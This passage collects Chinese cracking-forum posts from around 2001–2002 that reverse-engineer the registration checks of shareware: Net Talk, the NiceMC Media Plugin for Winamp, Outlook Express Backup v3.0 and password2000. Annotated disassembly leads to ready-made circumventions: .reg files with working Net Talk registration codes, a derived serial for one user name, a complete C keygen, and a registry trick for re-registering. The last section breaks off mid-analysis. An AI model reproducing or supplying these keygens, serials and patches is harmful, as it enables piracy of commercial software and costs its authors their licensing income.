:004827D5 0F8589000000 jne 00482864〈---在此处rfl z运行,程序显示
无限制版，哈哈程序有意思，两个版本

现在分析关键Call 004003D4
:00403ED4 53 push ebx
:00403ED5 56 push esi
:00403ED6 57 push edi
:00403ED7 89C6 mov esi, eax
:00403ED9 89D7 mov edi, edx
:00403EDB 39D0 cmp eax, edx
:00403EDD 0F848F000000 je 00403F72
:00403EE3 85F6 test esi, esi
:00403EE5 7468 je 00403F4F
:00403EE7 85FF test edi, edi
:00403EE9 746B je 00403F56
:00403EEB 8B46FC mov eax, dword ptr [esi-04]
:00403EEE 8B57FC mov edx, dword ptr [edi-04]
:00403EF1 29D0 sub eax, edx
......................................................................
:00403F23 5A pop edx
:00403F24 83E203 and edx, 00000003
:00403F27 7422 je 00403F4B
:00403F29 8B0E mov ecx, dword ptr [esi] <----在此处你可以 D ESI 看到我输入的码加密后的值
:00403F2B 8B1F mov ebx, dword ptr [edi]〈----次处看到
？？-？？-？？-？？-？？哈哈这就是机器码加 密后的结果
:00403F2D 38D9 cmp cl, bl
:00403F2F 7541 jne 00403F72〈----不同就跳出
:00403F31 4A dec edx
:00403F32 7417 je 00403F4B
:00403F34 38FD cmp ch, bh
....................................................
|
:00403F72 5F pop edi
:00403F73 5E pop esi
:00403F74 5B pop ebx
:00403F75 C3 ret
看见这个程序没有什么明码所以只能在分析加密算法了，：（（（
Call 0045D78C 我们发现这个函数之前的语句Mov dl,7D 还有一个是Mov dl,AF这就是用于区别注册版和无限制版的地方，
注册码的加密
:0045D78C 55 push ebp
:0045D78D 8BEC mov ebp, esp
:0045D78F 6A00 push 00000000
:0045D791 6A00 push 00000000
:0045D793 6A00 push 00000000
:0045D795 6A00 push 00000000
:0045D797 6A00 push 00000000
:0045D799 6A00 push 00000000
:0045D79B 53 push ebx
:0045D79C 56 push esi
:0045D79D 57 push edi
:0045D79E 894DF8 mov dword ptr [ebp-08], ecx
:0045D7A1 8BDA mov ebx, edx

:0045D803 8BD0 mov edx, eax
:0045D805 33C0 xor eax, eax
:0045D807 8AC3 mov al, bl
:0045D809 33D0 xor edx, eax<----此处为算法的核心
将输入的序列号依次与7D,7D+1,(7D+1)+2
((7D+1)+2)+3 ......异或（或与AF,AF+1,(AF+1)+2
((AF+1)+2)+3.......异或）
:0045D80B 8D45F0 lea eax, dword ptr [ebp-10]
:0045D80E E8D964FAFF call 00403CEC
:0045D813 8D45F4 lea eax, dword ptr [ebp-0C]
:0045D816 8B55F0 mov edx, dword ptr [ebp-10]
:0045D819 E8AE65FAFF call 00403DCC
:0045D81E 8BC7 mov eax, edi
:0045D820 40 inc eax

:0045D859 5D pop ebp
:0045D85A C3 ret
机器码的加密与注册号的加密类似，
机器码依次与7F+1,7F+2,7F+3....异或,得出??-??-??-??-??
因为异或运算为可逆运算，手工算出
注册版注册码：4241ADBCB8A1ADA68C958B92F4E7
无限制版注册码：908F9F8A8693FBF4FEE3D9DCC235
（哈哈其实所谓的机器码是作者那出来吓唬人的，每个机器上的都一样：））
好，运行程序，注册，成功了，哈哈：），再运行一次看看，晕，又变成了未注册。
用regmon监视以下，发现他读取了注册表
Current_user\software\Zigzag Software Group\Net Talk\下的值，打开看一下正是
机器码和注册码。
再次用Softice在RegQueryValueEx下断点,并按F12,F10来到
:0047F259 E89EADFEFF call 00469FFC
:0047F25E 8BC6 mov eax, esi
:0047F260 E8933BF8FF call 00402DF8
:0047F265 8B45FC mov eax, dword ptr [ebp-04]
:0047F268 E8574BF8FF call 00403DC4
:0047F26D 83F822 cmp eax, 00000022<-----程序在这里比较机器码
是否为34位
:0047F270 753F jne 0047F2B1
:0047F272 8B45F8 mov eax, dword ptr [ebp-08]
:0047F275 E84A4BF8FF call 00403DC4
:0047F27A 83F822 cmp eax, 00000022〈----注册码是否为34位

:0047F27D 7530 jne 0047F2AF
:0047F27F 8D4DEC lea ecx, dword ptr [ebp-14]
:0047F282 B27D mov dl, 7D
:0047F284 8B45F8 mov eax, dword ptr [ebp-08]
:0047F287 E800E5FDFF call 0045D78C〈---注册码加密\
:0047F28C 8B45EC mov eax, dword ptr [ebp-14] |
:0047F28F 8D55F4 lea edx, dword ptr [ebp-0C] |
:0047F292 E881E2FDFF call 0045D518 |
:0047F297 8D55F0 lea edx, dword ptr [ebp-10] |\只有上边比较
:0047F29A 8B45FC mov eax, dword ptr [ebp-04] |/为34位才运行
:0047F29D E8CAFEFFFF call 0047F16C〈---机器码加密 |
:0047F2A2 8B45F4 mov eax, dword ptr [ebp-0C] |
:0047F2A5 8B55F0 mov edx, dword ptr [ebp-10] |
:0047F2A8 E8274CF8FF call 00403ED4<----比较 /
:0047F2AD 7502 jne 0047F2B1
程序这样的地方还有一个（0047F3EC）是比较是否为无限制版的，上边为比较是否为注册版
所以了，因为作者给出的机器码为28为，所以怎么都不能通过程序本身注册成功，所以采用
人工修改注册表的方式：
机器码：BFBEAFBCBBA8B9B8A5B6B5A6B3B2169999
注册版：4241ADBCB8A1ADA68C958B92F4E77EE30C
无限制版：908F9F8A8693FBF4FEE3D9DCC23580313E

注册机（将下边的内容放到.Reg文件即可）
注册版
REGEDIT4
[HKEY_CURRENT_USER\SOFTWARE\Zigzag Software Group\Net Talk]
"ComputerCode"="BFBEAFBCBBA8B9B8A5B6B5A6B3B2169999"
"RegisterCode"="4241ADBCB8A1ADA68C958B92F4E77EE30C"

无限制版
REGEDIT4
[HKEY_CURRENT_USER\SOFTWARE\Zigzag Software Group\Net Talk]
"ComputerCode"="BFBEAFBCBBA8B9B8A5B6B5A6B3B2169999"
"RegisterCode"="908F9F8A8693FBF4FEE3D9DCC23580313E"

由于小弟水平有限，错误难免，希望各位大虾多多指点
如转载请保持文章完整！


NICEMC MEDIA PLUGIN FOR WINAMP 1.8

 标 题:搞了个超级简单的正好出出气，呵呵，不知道分析有错误没有！！ (6千字)
发信人:Turkey2001
时 间:2002-1-4 23:12:25
详细信息:
**********************************
* NICEMC MEDIA PLUGIN FOR WINAMP *
* VERSION 1.8 *
* 08/18/00 *
* http://www.nicemcmedia.com *
**********************************
昨天晚上上网，一不小心，被人攻击了。害得我的天网防火墙非法操作，98系统崩溃。我赶紧换到2000下面，起初还没什么事，我又上网了，但当我下网的时候，系统居然反应奇慢，根本没法忍受。正常关机就失去响应了。我KAO，你TMD有种去干美国佬或日本人啊，在国人面前逞什么能啊。我本来对这种事是很随便的，反正我的机器里面没有什么秘密，随你看，只要不破坏我的系统就行了。唉，为什么总是有这么一些吃饱了撑着没事干的人了？？想不通！！
不好意思啊，发了一通牢骚，我实在是太气愤了！下面转入正题。这次破的又是一个winamp的插件，它让winamp发生了质的变化，从单纯的播放声音变到可以播放视频，了不起吧！我很早就在用它了，一直是用从网上找来的注册机注册，这次重装系统后，翻遍整个硬盘也没有找到我当的那个注册机，唉，算了。自己动手，丰衣足食。刚好拿它出气！！
启动winamp，随便找张影碟放了，放一下停下来再放，就可以看到提示你注册的画面了，好，填入用户名：Turkey，注册码：987654321，先别点确定，启动trw，下断：bpx hmemcpy，F5返回到程序，这时再点击确定，被trw拦下，按10下F12后（11下F12就出现注册码错误的画面了，这里pmodule不好用，会直接回到winamp去），再按N下F10来到这里：
0167:01E02F84 PUSH DWORD 82
0167:01E02F89 PUSH DWORD 01E304D8
0167:01E02F8E PUSH DWORD 03F9
0167:01E02F93 MOV EDX,[EBP+08]
0167:01E02F96 PUSH EDX
0167:01E02F97 CALL `USER32!GetDlgItemTextA`
0167:01E02F9D PUSH BYTE +1E //光标停在这里，看上面的函数，猜它是得到用户名，不用管它
0167:01E02F9F LEA EAX,[EBP-20]
0167:01E02FA2 PUSH EAX
0167:01E02FA3 PUSH DWORD 03FA
0167:01E02FA8 MOV ECX,[EBP+08]
0167:01E02FAB PUSH ECX
0167:01E02FAC CALL `USER32!GetDlgItemTextA`
0167:01E02FB2 LEA EDX,[EBP-20] //上面这个函数就是的到你输入的注册码了，过了这一行d edx就可看到你输入的注册码
0167:01E02FB5 PUSH EDX //注册码进栈
0167:01E02FB6 CALL `MSVCRT!atoi` //调用一个标准函数，我不知道它是干什么的，我是根据后面的跟踪才猜出它是干什么的，呵呵（我不会编程）
0167:01E02FBB ADD ESP,BYTE +04
0167:01E02FBE MOV [01E304C8],EAX
0167:01E02FC3 MOV EAX,[01E304C8]
0167:01E02FC8 PUSH EAX //假码进栈
0167:01E02FC9 PUSH DWORD 01E304D8 //用户名进栈
0167:01E02FCE CALL 01E010AA //关键call，跟进去
0167:01E02FD3 ADD ESP,BYTE +08
0167:01E02FD6 CMP DWORD [01E30378],BYTE +00 //比较正确与否的标志位
0167:01E02FDD JZ 01E02FF7 //是0你就死翘翘了
0167:01E02FDF PUSH BYTE +00
0167:01E02FE1 PUSH DWORD 01E2C570
0167:01E02FE6 PUSH DWORD 01E2C4FC
0167:01E02FEB MOV ECX,[EBP+08]
0167:01E02FEE PUSH ECX
0167:01E02FEF CALL `USER32!MessageBoxA` //这里秀出注册成功的画面
0167:01E02FF5 JMP SHORT 01E0300D
0167:01E02FF7 PUSH BYTE +00
0167:01E02FF9 PUSH DWORD 01E2C570
0167:01E02FFE PUSH DWORD 01E2C4EC
0167:01E03003 MOV EDX,[EBP+08]
0167:01E03006 PUSH EDX
0167:01E03007 CALL `USER32!MessageBoxA` //这里秀出注册失败的画面
0167:01E0300D PUSH BYTE +00
0167:01E0300F MOV EAX,[EBP+08]
0167:01E03012 PUSH EAX
0167:01E03013 CALL `USER32!EndDialog`
0167:01E03019 MOV EAX,01
0167:01E0301E JMP SHORT 01E03022
0167:01E03020 XOR EAX,EAX
0167:01E03022 POP EDI
0167:01E03023 POP ESI
0167:01E03024 POP EBX
0167:01E03025 MOV ESP,EBP
0167:01E03027 POP EBP
0167:01E03028 RET 10 //这里就返回上一级了
好，废话少说，跟进那个关键call，来到这里：
0167:01E06EA0 PUSH EBP
0167:01E06EA1 MOV EBP,ESP
0167:01E06EA3 SUB ESP,BYTE +48
0167:01E06EA6 PUSH EBX
0167:01E06EA7 PUSH ESI
0167:01E06EA8 PUSH EDI
0167:01E06EA9 MOV DWORD [EBP-08],01620100 //初始化[EBP-08]
0167:01E06EB0 MOV DWORD [EBP-04],00 //初始化[EBP-04]
0167:01E06EB7 JMP SHORT 01E06EC2
0167:01E06EB9 MOV EAX,[EBP-04]
0167:01E06EBC ADD EAX,BYTE +01
0167:01E06EBF MOV [EBP-04],EAX
0167:01E06EC2 MOV ECX,[EBP+08] //用户名送到ECX
0167:01E06EC5 PUSH ECX //ecx进栈
0167:01E06EC6 CALL `MSVCRT!strlen` //取得用户名的长度放到eax
0167:01E06ECB ADD ESP,BYTE +04
0167:01E06ECE CMP [EBP-04],EAX //比较用户名是不是已经取完
0167:01E06ED1 JNC 01E06F14 //已经取完就跳出循环
0167:01E06ED3 MOV EDX,[EBP+08] //用户名位到edx
0167:01E06ED6 ADD EDX,[EBP-04] //[EBP-04]加edx到edx，第一次经过时[EBP-04]为0
0167:01E06ED9 MOVSX EAX,BYTE [EDX] //[EDX]第一位到eax
0167:01E06EDC SUB EAX,BYTE +01 //eax＝eax－1
0167:01E06EDF MOV ECX,[EBP+08] //用户名位到ecx
0167:01E06EE2 ADD ECX,[EBP-04] //[EBP-04]加ecx到ecx，第一次经过时[EBP-04]为0
0167:01E06EE5 MOVSX EDX,BYTE [ECX] //[EDX]第一位到edx
0167:01E06EE8 ADD EDX,BYTE +02 //edx＝edx+2
0167:01E06EEB IMUL EAX,EDX //eax＝eax*edx
0167:01E06EEE MOV ECX,[EBP+08] //用户名位到ecx
0167:01E06EF1 ADD ECX,[EBP-04] //[EBP-04]加ecx到ecx，第一次经过时[EBP-04]为0
0167:01E06EF4 MOVSX EDX,BYTE [ECX] //[EDX]第一位到edx
0167:01E06EF7 ADD EDX,BYTE +05 //edx=edx+5
0167:01E06EFA IMUL EAX,EDX //eax=eax*edx
0167:01E06EFD IMUL EAX,EAX,BYTE +09 //eax=eax*9
0167:01E06F00 MOV ECX,[EBP-08] //用户名位到ecx
0167:01E06F03 LEA EDX,[ECX+EAX-0E] //edx=ecx+eax-E
0167:01E06F07 MOV [EBP-08],EDX //edx到[ebp-08]
0167:01E06F0A CMP DWORD [EBP-04],BYTE +0C //比较用户名是不是大于等于c
0167:01E06F0E JNZ 01E06F12 //小于则跳走，继续循环
0167:01E06F10 JMP SHORT 01E06F14
0167:01E06F12 JMP SHORT 01E06EB9 //往上跳，循环
0167:01E06F14 MOV EAX,[EBP-08] //[ebp-08]到eax，[ebp-08]是根据用户名算来的值
0167:01E06F17 CMP EAX,[EBP+0C] //比较[ebp-0c]和eax是否相等，此时看到[ebp-0c]中的值为3ade98b1,这是个什么东东啊，肯定是前面程序调用那个标准函数得来的。既然是个标准函数，那就有的猜了，呵呵，我运气好，一猜就中，它是987654321的16进制数（明天赶快去买彩票）。
0167:01E06F1A JNZ 01E06F26 //跳走你就玩完了，不能跳啊
0167:01E06F1C MOV DWORD [01E30378],01 //给标志位付值
0167:01E06F26 POP EDI
0167:01E06F27 POP ESI
0167:01E06F28 POP EBX
0167:01E06F29 MOV ESP,EBP
0167:01E06F2B POP EBP
0167:01E06F2C RET //这里就回上一级了
总结它的算法，设注册码为Z，从高到低位为Z1，Z2。。。。Zn为了方便，暂拿我的用户名－－Turkey作例子，则作下列计算：
Z1=(T-1)*(T+2)*(T+5)*9+T-E
Z2=(u-1)*(u+2)*(u+5)*9+u-E
Z3=(r-1)*(r+2)*(r+5)*9+r-E
Z4=(k-1)*(k+2)*(k+5)*9+k-E
Z5=(e-1)*(e+2)*(e+5)*9+e-E
Z6=(y-1)*(y+2)*(y+5)*9+y-E
最后将Z转换成10进制的数，就是你的注册码了。

总结一下：
用户名：Turkey
注册码：96323386
就这么简单，哈哈，怎么样，你也试试吧，再说一点废话：
将HK_C_U\SOFTWARE\NiceMC\Media Plugin下的username的值改动一下就又可以注册了。我没有找到它存放注册码的地方，如果你知道的话，还烦请告诉小弟我一声，谢谢！！！

转载请保持其完整性！
Cracker:Turkey/灭害灵
2002.1.4@22:28


Outlook Express Backup v3.0

 标 题:Outlook Express Backup v3.0 (9千字)
发信人:lancelot[CCG]
时 间:2001-9-26 18:49:07
详细信息:
下载：http://gwbn.onlinedown.net/down/OEBackup.exe
================================================================================================
* Referenced by a CALL at Addresses:
|:00405723 , :00409901 , :0040A930 , :0040B0B1 , :0041A18D
|
:004074C0 6AFF push FFFFFFFF
:004074C2 6870C94100 push 0041C970
:004074C7 64A100000000 mov eax, dword ptr fs:[00000000]
:004074CD 50 push eax
:004074CE 64892500000000 mov dword ptr fs:[00000000], esp
:004074D5 83EC10 sub esp, 00000010
:004074D8 53 push ebx
:004074D9 55 push ebp
:004074DA 56 push esi
:004074DB 8BF1 mov esi, ecx
:004074DD 8B44242C mov eax, dword ptr [esp+2C]<-----------输入的注册码,12345678ABCD
:004074E1 C744242400000000 mov [esp+24], 00000000
:004074E9 8B40F8 mov eax, dword ptr [eax-08]<-----------注册码的长度
:004074EC 85C0 test eax, eax<-------------------------不能为0
:004074EE 0F8426010000 je 0040761A
:004074F4 83F80C cmp eax, 0000000C<---------------------要为12
:004074F7 0F851D010000 jne 0040761A
:004074FD 57 push edi
:004074FE 8D4C2410 lea ecx, dword ptr [esp+10]

* Reference To: MFC42.Ordinal:021C, Ord:021Ch
|
:00407502 E8F13A0100 Call 0041AFF8
:00407507 8B4C2430 mov ecx, dword ptr [esp+30]<-----------输入的注册码
:0040750B C644242801 mov [esp+28], 01
:00407510 8A11 mov dl, byte ptr [ecx]<----------------取第1位,'1'
:00407512 8D4C2410 lea ecx, dword ptr [esp+10]
:00407516 88542414 mov byte ptr [esp+14], dl
:0040751A 8B442414 mov eax, dword ptr [esp+14]
:0040751E 50 push eax

* Reference To: MFC42.Ordinal:035B, Ord:035Bh
|
:0040751F E8EC3D0100 Call 0041B310
:00407524 8B4C2410 mov ecx, dword ptr [esp+10]
:00407528 83C604 add esi, 00000004
:0040752B 51 push ecx
:0040752C 8BCE mov ecx, esi<-------------------------表一

* Reference To: MFC42.Ordinal:0ACC, Ord:0ACCh
|
:0040752E E8953D0100 Call 0041B2C8<------------------------查第1位'1'在表中的位置
:00407533 99 cdq 序号放在 al 中,al==0x1a
:00407534 B907000000 mov ecx, 00000007 ~~~~
:00407539 BB0A000000 mov ebx, 0000000A
:0040753E F7F9 idiv ecx<-----------------------------0x1a%0x7==0x5
:00407540 B905000000 mov ecx, 00000005 ~~~~ ~~~
:00407545 BD05000000 mov ebp, 00000005
:0040754A 8D7C1208 lea edi, dword ptr [edx+edx+08]<------0x5+0x5+0x8==0x12 <==(2)
:0040754E 8BC7 mov eax, edi ~~~ ~~~ ~~~~
:00407550 99 cdq
:00407551 F7F9 idiv ecx<-----------------------------0x12%0x5==0x3
:00407553 8BCA mov ecx, edx ~~~~ ~~~
:00407555 C1E102 shl ecx, 02<--------------------------0x3<<0x2==0xc <======(3)
:00407558 8BC1 mov eax, ecx ~~~ ~~~
:0040755A 99 cdq
:0040755B F7FB idiv ebx<-----------------------------0xc%0xa==0x2
:0040755D BB05000000 mov ebx, 00000005 ~~~ ~~~
:00407562 8D0452 lea eax, dword ptr [edx+2*edx]<-------0x2+2*0x2==0x6
:00407565 99 cdq ~~~ ~~~ ~~~
:00407566 F7FB idiv ebx<-----------------------------0x6%0x5==0x1 <=======(4)
:00407568 8BDA mov ebx, edx ~~~ ~~~
:0040756A 8D049D05000000 lea eax, dword ptr [4*ebx+00000005]<--4*0x1+0x5==0x9 <=====(7)
:00407571 89442414 mov dword ptr [esp+14], eax ~~~ ~~~
:00407575 99 cdq
:00407576 F7FD idiv ebp<-----------------------------0x9%0x5==0x4
:00407578 BD0D000000 mov ebp, 0000000D ~~~ ~~~
:0040757D 8D04D503000000 lea eax, dword ptr [8*edx+00000003]<--8*0x4+0x3==0x23 <====(9)
:00407584 89442418 mov dword ptr [esp+18], eax ~~~ ~~~~
:00407588 99 cdq
:00407589 F7FD idiv ebp<-----------------------------0x23%0xd==0x9 <======(10)
:0040758B 8B6C2430 mov ebp, dword ptr [esp+30] ~~~~ ~~~
:0040758F 8B06 mov eax, dword ptr [esi]
:00407591 8954241C mov dword ptr [esp+1C], edx
:00407595 8A5501 mov dl, byte ptr [ebp+01]<------------取第(2)位,'2'
:00407598 3A1438 cmp dl, byte ptr [eax+edi]<-----------应该等于表中第0x12位
:0040759B 5F pop edi ~~~~
:0040759C 756E jne 0040760C
:0040759E 8A5502 mov dl, byte ptr [ebp+02]<------------取第(3)位,'3'
:004075A1 3A1408 cmp dl, byte ptr [eax+ecx]<-----------应该等于表中第0xc位
:004075A4 7566 jne 0040760C ~~~
:004075A6 8A4D03 mov cl, byte ptr [ebp+03]<------------取第(4)位,'4'
:004075A9 8A1418 mov dl, byte ptr [eax+ebx]<-----------应该等于表中第0x1位
:004075AC 3ACA cmp cl, dl
:004075AE 755C jne 0040760C
:004075B0 8B542410 mov edx, dword ptr [esp+10]
:004075B4 8A4D06 mov cl, byte ptr [ebp+06]<------------取第(7)位,'7'
:004075B7 3A0C10 cmp cl, byte ptr [eax+edx]<-----------应该等于表中第0x9位
:004075BA 7550 jne 0040760C ~~~
:004075BC 8B542414 mov edx, dword ptr [esp+14]
:004075C0 8A4D08 mov cl, byte ptr [ebp+08]<------------取第(9)位,'A'
:004075C3 3A0C10 cmp cl, byte ptr [eax+edx]<-----------应该等于表中第0x23位
:004075C6 7544 jne 0040760C ~~~~
:004075C8 8B542418 mov edx, dword ptr [esp+18]
:004075CC 8A4D09 mov cl, byte ptr [ebp+09]<------------取第(10)位,'B'
:004075CF 3A0C10 cmp cl, byte ptr [eax+edx]<-----------应该等于表中第0x9位
:004075D2 7538 jne 0040760C ~~~
:004075D4 8D4C240C lea ecx, dword ptr [esp+0C]
:004075D8 C644242400 mov [esp+24], 00

* Reference To: MFC42.Ordinal:0320, Ord:0320h
|
:004075DD E80A3A0100 Call 0041AFEC
:004075E2 8D4C242C lea ecx, dword ptr [esp+2C]
:004075E6 C7442424FFFFFFFF mov [esp+24], FFFFFFFF

* Reference To: MFC42.Ordinal:0320, Ord:0320h
|
:004075EE E8F9390100 Call 0041AFEC
:004075F3 5E pop esi
:004075F4 5D pop ebp
:004075F5 B801000000 mov eax, 00000001
:004075FA 5B pop ebx
:004075FB 8B4C2410 mov ecx, dword ptr [esp+10]
:004075FF 64890D00000000 mov dword ptr fs:[00000000], ecx
:00407606 83C41C add esp, 0000001C
:00407609 C20400 ret 0004
===============================================================================================
表一: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890

注册码：1SMB - **J* - 0J** (*为任意数字或字母)

===============================================================================================
keygen:

#include <stdio.h>

void main()
{
char Table[36]={'A','B','C','D','E','F','G','H','I','J','K','L',
'M','N','O','P','Q','R','S','T','U','V','W','X',
'Y','Z','1','2','3','4','5','6','7','8','9','0'};
int Code[12];
int n=0;

printf("******* Outlook Express Backup v3.0's KeyGen *******\n");
printf("******* by lancelot [CCG] [FCG] *******\n\n");
printf("Please enter the first character of the code: ");

Code[0]=getchar();

for (int i=0; i<36; i++)
{
if (Code[0]==Table[i])
{ n=i;
n=(2*(n%7)+8);
Code[1]=Table[n];
n=(n%5)<<2;
Code[2]=Table[n];
n=(3*(n%10))%5;
Code[3]=Table[n];
Code[4]=0x30;
Code[5]=0x30;
n=4*n+5;
Code[6]=Table[n];
Code[7]=0x30;
n=8*(n%5)+3;
Code[8]=Table[n];
n=n%0xd;
Code[9]=Table[n];
Code[10]=0x30;
Code[11]=0x30;
printf(" \nyour register code is: ");
for(int j=0; j<12; j++)
{
if (j==4 || j==8) printf("- ");
printf("%c ",Code[j]);
}
printf("\n\n");
break;
}
else if (i==35)
printf("\n Error format, Please use 26 English letters or numeric\n");
}
}

,;~;,
/\_
( /
(() //)
| \\ ,,;;'\
__ _( )m=(lancelot(================--------
/' ' '()/~' '.(, |
,;( )|| | ~
,;' \ /-(.;, ) 兰斯洛特[CCG][FCG]
) / ) /
// || 2001.09.26
)_\ )_\
=======================================================


password2000 v2.7.0

 标 题:password2000 v2.7.0 (22千字)
发信人:lancelot[CCG]
时 间:2001-9-24 20:58:48
详细信息:
下载：http://newhua.ruyi.com/down/p2k270.exe
这个软件其实算法并不难,翻来覆去的用同一个call,作者只是报定了一个宗旨：烦死你！
呵呵，有兴趣的人自己看吧 ... ...
===============================================================================================

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041C446(C)
|
:0041C3BA 6A08 push 00000008
:0041C3BC 8D4C2420 lea ecx, dword ptr [esp+20]
:0041C3C0 55 push ebp
:0041C3C1 51 push ecx
:0041C3C2 8D4C2458 lea ecx, dword ptr [esp+58]
:0041C3C6 E82BCA0100 call 00438DF6<-----------------------------取用户名的前8位
:0041C3CB 50 push eax
:0041C3CC 8D4C2414 lea ecx, dword ptr [esp+14]
:0041C3D0 C644244005 mov [esp+40], 05
:0041C3D5 E8D6300200 call 0043F4B0
:0041C3DA 8D4C241C lea ecx, dword ptr [esp+1C]
:0041C3DE 885C243C mov byte ptr [esp+3C], bl
:0041C3E2 E8902F0200 call 0043F377
:0041C3E7 51 push ecx
:0041C3E8 8D542414 lea edx, dword ptr [esp+14]
:0041C3EC 8BCC mov ecx, esp
:0041C3EE 89642430 mov dword ptr [esp+30], esp
:0041C3F2 52 push edx
:0041C3F3 E8F42C0200 call 0043F0EC
:0041C3F8 51 push ecx
:0041C3F9 8D442450 lea eax, dword ptr [esp+50]
:0041C3FD 8BCC mov ecx, esp
:0041C3FF 89642438 mov dword ptr [esp+38], esp
:0041C403 50 push eax
:0041C404 C644244806 mov [esp+48], 06
:0041C409 E8DE2C0200 call 0043F0EC
:0041C40E 8D4C2428 lea ecx, dword ptr [esp+28]
:0041C412 885C2444 mov byte ptr [esp+44], bl
:0041C416 51 push ecx
:0041C417 8BCE mov ecx, esi
:0041C419 E862FBFFFF call 0041BF80<-------------(1)---------计算(由用户名前8位),算法详见下
:0041C41E 50 push eax<------------------------------call(1)的结果1943803359447161397
:0041C41F 8D4C2418 lea ecx, dword ptr [esp+18]
:0041C423 C644244007 mov [esp+40], 07
:0041C428 E862330200 call 0043F78F
:0041C42D 8D4C2420 lea ecx, dword ptr [esp+20]
:0041C431 885C243C mov byte ptr [esp+3C], bl
:0041C435 E83D2F0200 call 0043F377
:0041C43A 8B442418 mov eax, dword ptr [esp+18]
:0041C43E 83C508 add ebp, 00000008
:0041C441 48 dec eax
:0041C442 89442418 mov dword ptr [esp+18], eax
:0041C446 0F856EFFFFFF jne 0041C3BA
:0041C44C 8B6C2424 mov ebp, dword ptr [esp+24]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041C3AE(C)
|
:0041C450 8D14FD00000000 lea edx, dword ptr [8*edi+00000000]
:0041C457 55 push ebp
:0041C458 8D442428 lea eax, dword ptr [esp+28]
:0041C45C 52 push edx
:0041C45D 50 push eax
:0041C45E 8D4C2458 lea ecx, dword ptr [esp+58]
:0041C462 E88FC90100 call 00438DF6<-----------------------------取用户名的后5位
:0041C467 50 push eax
:0041C468 8D4C2414 lea ecx, dword ptr [esp+14]
:0041C46C C644244008 mov [esp+40], 08
:0041C471 E83A300200 call 0043F4B0
:0041C476 8D4C2424 lea ecx, dword ptr [esp+24]
:0041C47A 885C243C mov byte ptr [esp+3C], bl
:0041C47E E8F42E0200 call 0043F377
:0041C483 51 push ecx
:0041C484 8D542414 lea edx, dword ptr [esp+14]
:0041C488 8BCC mov ecx, esp
:0041C48A 89642434 mov dword ptr [esp+34], esp
:0041C48E 52 push edx
:0041C48F E8582C0200 call 0043F0EC
:0041C494 51 push ecx
:0041C495 8D442450 lea eax, dword ptr [esp+50]
:0041C499 8BCC mov ecx, esp
:0041C49B 89642434 mov dword ptr [esp+34], esp
:0041C49F 50 push eax
:0041C4A0 C644244809 mov [esp+48], 09
:0041C4A5 E8422C0200 call 0043F0EC
:0041C4AA 8D4C242C lea ecx, dword ptr [esp+2C]
:0041C4AE 885C2444 mov byte ptr [esp+44], bl
:0041C4B2 51 push ecx
:0041C4B3 8BCE mov ecx, esi
:0041C4B5 E8C6FAFFFF call 0041BF80<-------------(2)---------计算(由用户名后5位),算法同call (1)
:0041C4BA 50 push eax<------------------------------call(2)的结果1056146343234067490
:0041C4BB 8D4C2418 lea ecx, dword ptr [esp+18]
:0041C4BF C64424400A mov [esp+40], 0A
:0041C4C4 E8C6320200 call 0043F78F<----------------------合并call(1)和call(2)的结果
:0041C4C9 8D4C2424 lea ecx, dword ptr [esp+24] 9438033594471613971056146343234067490
:0041C4CD 885C243C mov byte ptr [esp+3C], bl
:0041C4D1 E8A12E0200 call 0043F377
:0041C4D6 51 push ecx
:0041C4D7 8D542418 lea edx, dword ptr [esp+18]
:0041C4DB 8BCC mov ecx, esp
:0041C4DD 89642434 mov dword ptr [esp+34], esp
:0041C4E1 52 push edx
:0041C4E2 E8052C0200 call 0043F0EC
:0041C4E7 8B7C2448 mov edi, dword ptr [esp+48]
:0041C4EB 8BCE mov ecx, esi
:0041C4ED 57 push edi
:0041C4EE E85DFDFFFF call 0041C250<-------------(3)------根据合并后的数计算出最终注册码
:0041C4F3 BB01000000 mov ebx, 00000001
:0041C4F8 895C2428 mov dword ptr [esp+28], ebx
:0041C4FC 8D4C2414 lea ecx, dword ptr [esp+14]
:0041C500 C644243C03 mov [esp+3C], 03
:0041C505 E86D2E0200 call 0043F377
:0041C50A 8D4C2410 lea ecx, dword ptr [esp+10]
:0041C50E C644243C02 mov [esp+3C], 02
:0041C513 E85F2E0200 call 0043F377
:0041C518 8D4C2448 lea ecx, dword ptr [esp+48]
:0041C51C 885C243C mov byte ptr [esp+3C], bl
:0041C520 E8522E0200 call 0043F377
:0041C525 8D4C244C lea ecx, dword ptr [esp+4C]
:0041C529 C644243C00 mov [esp+3C], 00
:0041C52E E8442E0200 call 0043F377
:0041C533 8B4C2434 mov ecx, dword ptr [esp+34]
:0041C537 8BC7 mov eax, edi
:0041C539 5F pop edi
:0041C53A 5E pop esi
:0041C53B 5D pop ebp
:0041C53C 64890D00000000 mov dword ptr fs:[00000000], ecx
:0041C543 5B pop ebx
:0041C544 83C430 add esp, 00000030
:0041C547 C20C00 ret 000C<---------------------------返回
==============================================================================================
* Referenced by a CALL at Addresses:<------------------------------------call (1)(2)(3.1)
|:0041BE59 , :0041BEF5 , :0041C2D9 , :0041C419 , :0041C4B5
|:0041C83E
|

* Possible Reference to Dialog: DialogID_01BF, CONTROL_ID:00FF, ""
|
:0041BF80 6AFF push FFFFFFFF
:0041BF82 680FCE4500 push 0045CE0F
:0041BF87 64A100000000 mov eax, dword ptr fs:[00000000]
:0041BF8D 50 push eax
:0041BF8E 64892500000000 mov dword ptr fs:[00000000], esp
:0041BF95 83EC38 sub esp, 00000038
:0041BF98 55 push ebp
:0041BF99 56 push esi
:0041BF9A 57 push edi
:0041BF9B 8BE9 mov ebp, ecx
:0041BF9D C744242C00000000 mov [esp+2C], 00000000
:0041BFA5 8D442458 lea eax, dword ptr [esp+58]<-----8430110010883617(固定数字)

... ... 略 ... ...

:0041C188 E873F9FFFF call 0041BB00<---------------------(1.1)(2.1)(3.1.1),跟入
:0041C18D 57 push edi<--------------------------447161397
:0041C18E 8D442418 lea eax, dword ptr [esp+18]
:0041C192 56 push esi<--------------------------1943803359
:0041C193 50 push eax
:0041C194 E80D340200 call 0043F5A6<---------------------合并
:0041C199 8B742454 mov esi, dword ptr [esp+54]
:0041C19D 8D4C2414 lea ecx, dword ptr [esp+14]<-------合并后1943803359447161397

... ... 略 ... ...

:0041C247 C20C00 ret 000C
=================================================================================================
* Referenced by a CALL at Address:<---------------------------------call (1.1)(2.1)(3.1.1)
|:0041C188
|

